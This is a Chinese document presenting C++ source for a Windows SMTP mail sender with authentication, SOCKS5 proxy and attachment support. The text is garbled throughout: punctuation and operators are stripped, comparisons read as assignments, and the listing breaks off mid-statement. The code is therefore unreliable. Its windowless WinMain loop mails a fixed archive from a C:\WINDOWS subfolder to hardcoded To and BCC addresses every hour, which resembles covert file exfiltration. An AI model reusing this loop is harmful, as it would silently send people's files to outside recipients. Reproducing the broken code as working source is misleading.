发送邮件的C语言源代码.doc

发送邮件的源代码，模拟smtp的协议写的程序代码：主要有2个文件，一个头文件，一个实现文件头文件如下；文件名:fsSendMail.h文件内容：/-#ifndef fsSendMailH#define fsSendMailH#include #include #include #include #include #include #include #include #include #include #include using namespace std;/-void MakeVector( char *s , vector &v);int ClientSendMail( char *proxyServerName,/使用的代理服务器地址 UINT proxyServerPort, /代理服务器的端口号 const char *proxyUser, /连接代理服务器的用户名 const char * proxyPass, /连接代理服务器的密码 const char * serverHostName, /邮件服务器地址 UINT serverPort, /邮件服务器端口 const char * username, /邮件用户名 const char * pass,/邮件用户对应的密码 const char * senderAddr,/发送邮件的地址 /const char * recptAddress, const char * from, /for most mail server, it only support youself address /发送邮件的地址 const char * to, /接收邮件的地址，每个邮件地址之间用逗号;进行分开 const char * cc, /抄送邮件的地址 const char * bcc, /密送邮件的地址 const char * subject, /邮件的标题 const char * bodytext, /邮件的正文 const char * bodyhtml, /邮件正文的html格式 const char *attachments, /附件内容，各个附件之间采用逗号;进行分开 char *sMsg);/发送邮件的错误应答 #endif实现文件如下：文件名:fsSendMail.cpp文件内容：/-#pragma hdrstop#include fsSendMail.h/-#pragma package(smart_init)#define BUFFER_BLOCK_SIZE 4096#define DEAL_RETURN_CODE(retCode) if(retCode)!=0)return retCode;#define DEAL_SOCK_ERROR(retCode,sock)if(retCode)=SOCKET_ERROR | (retCode)=0)coutSock error: GetLastError()endl;closesocket(sock);return -1;/Auxiliary Functionsint ClientCommandResolve();void InputLine(string & str);int GetResponseCode(SOCKET sock,int correctCode,string& str);BOOL ResponsedCodeFinished(const string& str);u_long ConvertHostnameToLongHostAddress(const char * destAddress);BOOL SendMessage(SOCKET sock, const char* buffer, int bufferLen);/Sub-Functions in Client Commandvoid EncodingBase64(const char* src, char* des);void DecodingBase64(const char* src, char* des);void EncodingBase64Adv(const char* src, int length, char* des);void DecodingBase64Adv(const char* src, int length, char* des);UCHAR SixBitDecodeIndex(char a);BOOL EncodeFileBase64(const string& filename, string& code);BOOL ReadFileToStr(const string& filename, string& code);void HeadTextTemple(const string& command,const string& addr,string & buffer, BOOL bPrintCommond=TRUE);void Date(string& buffer);void From(const string& addr,string & buffer);void To(const vector& to,string & buffer);void Cc(const vector& cc,string & buffer);void Bcc(const vector& bcc,string & buffer);void DataHead(const string& from, const vector& to, const vector& cc, const vector& bcc, const string & subject, const string& bodytext, const string& bodytexthtml, BOOL bHtml, BOOL bAttachment, string& majorSplitTag, string& buffer);void DataBody(BOOL bHtmlBody,BOOL bAttachment,const string& majorSplitTag,const string& bodytext,const string& bodytexthtml,const vector & attachments,string& buffer);void DataBody_PureText(const string& bodytext_base64, string& buffer);void DataBody_TextAndAttachments(const string& bodytext_base64, const vector& attachments, const string& majorSplitTag, string& buffer);void DataBody_HtmlOnly(const string& bodytext_base64, const string& html_base64, const string& majorSplitTag, string& buffer);void DataBody_HtmlAndAttachments(const string& bodytext_base64, const string& html_base64, const vector& attachments, const string& majorSplitTag, const string& subSplitTag, string& buffer);/Agent Application Functionsint SendMail(const string& proxyServerName, UINT proxyServerPort, const string& proxyUser, const string& proxyPass, const string& serverHostName, UINT serverPort, const string& username, const string pass, const string& senderAddr, const vector& recptAddress, const vector& from, /for most mail server, it only support youself address const vector& to, const vector& cc, const vector& bcc, const string & subject, const string & bodytext, const string & bodyhtml, const vector&attachments);int Socks5StartIPv4(const string& proxyServerHostName,u_int proxyServerPort,const string& username, const string& pass,u_long destAddress,u_int destPort,SOCKET& sock);/*int _tmain(int argc, TCHAR* argv, TCHAR* envp)ClientCommandResolve();return 0;*/int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)/ TODO: Place code here./ShowWindow(NULL,SW_HIDE);ClientCommandResolve();return 0;void InputLine(string & str)char ch;str=;while(ch = getchar()!= n)str+=ch;void MakeVector( char *s , vector &v) int i; char *p,*p1; char *sTmp; if( s = NULL) return; if( *s = 0) return; p = (char *)s; while(1) p1 = strchr( p ,;); if( p1 = NULL) v.push_back( p); break; else sTmp = (char *)malloc( p1- p + 2 ); memset( sTmp, 0 , p1- p + 2 ); memcpy( sTmp , p , p1-p); v.push_back( sTmp); free(sTmp ); p=p1; p+; /*参数设置: proxyServerName:代理服务器IP地址 proxyServerPort:代理服务器端口号 proxyUser :连接代理服务器的用户名 proxyPass：连接代理服务器的密码 serverHostName:邮件服务器地址 serverPort:邮件服务器端口 username：连接邮件服务器的用户名 pass:连接邮件服务器的密码 senderAddr:发送邮件的邮件地址 recptAddress: from: 发送邮件的发送者邮件地址 to: cc: bcc: subject：bodytext：bodyhtml： attachments：*/int ClientSendMail( char *proxyServerName, UINT proxyServerPort, const char *proxyUser, const char * proxyPass, const char * serverHostName, UINT serverPort, const char * username, const char * pass, const char * senderAddr, /const char * recptAddress, const char * from, /for most mail server, it only support youself address const char * to, const char * cc, const char * bcc, const char * subject, const char * bodytext, const char * bodyhtml, const char *attachments, char *sMsg) int nRc; int iResult; string s_proxyServerName,s_proxyUser,s_proxyPass,s_serverHostName; string s_username,s_pass,s_senderAddr,s_subject,s_bodytext,s_bodyhtml; s_proxyServerName = proxyServerName; s_proxyUser = proxyUser; s_proxyPass = proxyPass; s_serverHostName =serverHostName; s_username = username; s_pass = pass; s_senderAddr =senderAddr; s_subject = subject; s_bodytext = bodytext; s_bodyhtml = bodyhtml; set stringSet; UINT i; vector recptAddrs; vector fromV,toV,ccV,bccV,attachmentsV; /MakeVector( (char *)recptAddress , recptAddrs); MakeVector( (char *)from , fromV ); MakeVector( (char *)to , toV ); MakeVector( (char *)cc , ccV ); MakeVector( (char *)bcc , bccV ); MakeVector( (char *)attachments , attachmentsV); *sMsg = 0; memset( sMsg , 0 , sizeof( sMsg ) ); WSADATA wsaData; nRc = -1;if(WSAStartup(MAKEWORD( 2, 2 ), &wsaData)!=0)strcpy( sMsg , WSAStartup Error);/return -1; goto L_Err; for(i=0; i toV.size(); i+) stringSet.insert(toVi); for(i=0; i ccV.size(); i+) stringSet.insert(ccVi); for(i=0; i bccV.size(); i+) stringSet.insert(bccVi); for(set:iterator iteSet=stringSet.begin(); iteSet!=stringSet.end(); iteSet+) recptAddrs.push_back(*iteSet); iResult=SendMail(s_proxyServerName,proxyServerPort,s_proxyUser,s_proxyPass,s_serverHostName,serverPort,s_username,s_pass,s_senderAddr,recptAddrs,fromV,toV,ccV, bccV,s_subject,s_bodytext,s_bodyhtml,attachmentsV); if(iResult=-1) /coutUnsuccessfully sent this mail. Save it to file.endl; /unfinished. Here should save the transaction into file. goto L_Err; nRc = 0;L_Err: recptAddrs.clear(); fromV.clear(); toV.clear(); ccV.clear(); bccV.clear(); attachmentsV.clear(); return nRc;int ClientCommandResolve()string serverHostName;UINT serverPort=0;string senderAddr;vector recptAddrs;string username;string pass;string strtemp;vector from;vector to;vector cc;vector bcc;string subject;string bodytext;string bodytexthtml;vectorattachments;/proxystring proxyServerName;UINT proxyServerPort;string proxyUser;string proxyPass;/serverPort=25;/username=;/pass=;/proxyServerName=;/proxyServerPort=;/proxyUser=;/proxyPass=;char paraCommandBUFFER_BLOCK_SIZE;int pos=0;int iResult;string str;string:size_type startPos;WSADATA wsaData;if(WSAStartup(MAKEWORD( 2, 2 ), &wsaData)!=0)cerrsocket init errorendl;return -1;while(1)/system(test.bat);/SMTP Server host nameserverHostName=;/SMPT Server PortserverPort=25;/USER NAMEusername=USER_126126.com;/PASSpass=USER_PAWWORD;/ProxyproxyServerName=;/MAIL FROM/Though rfc822 supports muti-senders, most email server today only support authentication login./So, the fact is one sender one mail.senderAddr=USER_126126.com;from.push_back(senderAddr);/*/RCPT TO/If having multiple receivers, here using spaces to split themif(recptAddrs.empty()/for testingwhile(1)coutRCPT TO:;cout.flush();InputLine(str);while(1)iResult=sscanf(str.c_str(),%s,paraCommand); if(iResult=EOF)break;startPos=str.find(paraCommand,0,strlen(paraCommand);startPos+=strlen(paraCommand);str=str.substr(startPos,str.length()-startPos);recptAddrs.push_back(string(paraCommand);if(recptAddrs.size()=0)coutInput receiver address.endl;continue;break;*/tostrcpy(paraCommand,TO_USER126.com);/to.push_back(paraCommand);/Ccstrcpy(paraCommand,);cc.push_back(paraCommand);/Bccstrcpy(paraCommand,BBC_USER163.com);bcc.push_back(paraCommand);/Subjectsubject=keyboard;/DATA body: textbodytext=hello;/DATA body: html/Most email reader-agents support html coded email. So we support it too.bodytexthtml=;/DATA body: attachmentstrtemp=C:WINDOWSPrierTianKongbak.rar;/附件attachments.push_back(strtemp);/regroup rectpAddres arrayset stringSet;UINT i;for(i=0; i to.size(); i+)stringSet.insert(toi);for(i=0; i cc.size(); i+)stringSet.insert(cci);for(i=0; i bcc.size(); i+)stringSet.insert(bcci);for(set:iterator iteSet=stringSet.begin();iteSet!=stringSet.end(); iteSet+)recptAddrs.push_back(*iteSet);strcpy(paraCommand,TO_USER126.com);recptAddrs.push_back(paraCommand);strcpy(paraCommand,BBC_USER163.com);recptAddrs.push_back(paraCommand);/recptAddrs.push_back();iResult=SendMail(proxyServerName,proxyServerPort,proxyUser,proxyPass,serverHostName,serverPort,username,pass,senderAddr,recptAddrs,from,to,cc, bcc,subject,bodytext,bodytexthtml,attachments);if(iResult=-1)coutUnsuccessfully sent this mail. Save it to file.endl;/unfinished. Here should save the transaction into file.Sleep(60*1000*60);/每1小时发送一次recptAddrs.clear();from.clear();to.clear();cc.clear();bcc.clear();subject=;bodytext=;bodytexthtml=;attachments.clear();return 0;/for multiple response codeint GetResponseCode(SOCKET sock,int correctCode,string& str)int retCode;char bufferBUFFER_BLOCK_SIZE+1;str=;while(1)retCode=recv(sock,buffer,BUFFER_BLOCK_SIZE,0);if(retCode=SOCKET_ERROR | retCode=0)return -1;bufferretCode=0;coutbuffer;cout.flush();str+=buffer;if(ResponsedCodeFinished(str)if(atoi(str.c_str()=correctCode)return 0;elsereturn 1;BOOL ResponsedCodeFinished(const string& str)if(strstr.length()-2!=r | strstr.length()-1!=n)return FALSE;if(str3!=-)return TRUE;char code4;int beginCode=atoi(str.c_str();itoa(beginCode,code,10);std:string:size_type pos=str.rfind(code,str.length()-1);return strpos+3= ;int SendMail(const string& proxyServerName, UINT proxyServerPort, const string& proxyUser, const string& proxyPass, const string& serverHostName, UINT serverPort, const string& username, const string pass, const string& senderAddr, const vector& recptAddress, const vector& from, /for most mail server, it only support youself address const vector& to, const vector& cc, const vector& bcc, const string & subject, const string & bodytext, const string & bodyhtml, const vector&attachments)sockaddr_in serverAddr;SOCKET sock;hostent * host;char bufferBUFFER_BLOCK_SIZE;unsigned int i;BOOL bHtml,bAttachment;string str;if(bodyhtml.length()=0)bHtml=FALSE;elsebHtml=TRUE;if(attachments.size()=0)bAttachment=FALSE;elsebAttachment=TRUE;if(proxyServerName.length()!=0)/using socks5 proxyu_long addr=ConvertHostnameToLongHostAddress(serverHostName.c_str();if(Socks5StartIPv4(proxyServerName,proxyServerPort,proxyUser,proxyPass,addr,serverPort,sock)!=0)cerrProxy server error!endl;elsehost=gethostbyname(serverHostName.c_str();if(host=NULL)coutCannt resolve this host name: GetLastError()h_addr;serverAddr.sin_family=AF_INET;serverAddr.sin_port=htons(serverPort);coutConnecting to inet_ntoa(serverAddr.sin_addr)endl;cout.flush();if(connect(sock,(const sockaddr*)&serverAddr,sizeof(sockaddr)=SOCKET_ERROR)coutCannot connect to Server: serverHostName.c_str()endl;cout.flush();closesocket(sock);return -1;/1. welcome wordsDEAL_RETURN_CODE(GetResponseCode(sock,220,str);/2. HELO./We omit HELO, because most Email Server needs authentication./3. EHLOsprintf(buffer,EHLO %srn,senderAddr.c_str();coutbuffer;send(sock,buffer,strlen(buffer),0);DEAL_RETURN_CODE(GetResponseCode(sock,250,str);/4. AUTH LOGIN. /Most authentication takes AUTH LOGIN and AUTH PLAIN. Here we take AUTH LOGIN by default.sprintf(buffer,AUTH LOGINrn);coutbuffer;send(sock,buffer,strlen(buffer),0);DEAL_RETURN_CODE(GetResponseCode(sock,334,str);/2. USER NAME/User name is coded by base64.EncodingBase64(username.c_str(),buffer);strcat(buffer,rn);coutbuffer;send(sock,buffer,strlen(buffer),0);DEAL_RETURN_CODE(GetResponseCode(sock,334,str);/2. password coded by base64EncodingBase64(pass.c_str(),buffer);strcat(buffer,rn);coutbuffer;send(sock,buffer,strlen(buffer),0);DEAL_RETURN_CODE(GetResponseCode(sock,235,str);/2. MAIL FROMsprintf(buffer,MAIL FROM:rn,senderAddr.c_str();coutbuffer;send(sock,buffer,strlen(buffer),0);DEAL_RETURN_CODE(GetResponseCode(sock,250,str);/2. RCPTfor(i=0;irecptAddress.size();i+)sprintf(buffer,RCPT TO: rn,recptAddressi.c_str();coutbuffer;send(sock,buffer,strlen(buffer),0);DEAL_RETURN_CODE(GetResponseCode(sock,250,str);/2. DATAsprintf(buffer,DATArn);coutbuffer;send(sock,buffer,strlen(buffer),0);DEAL_RETURN_CODE(GetResponseCode(sock,354,str);st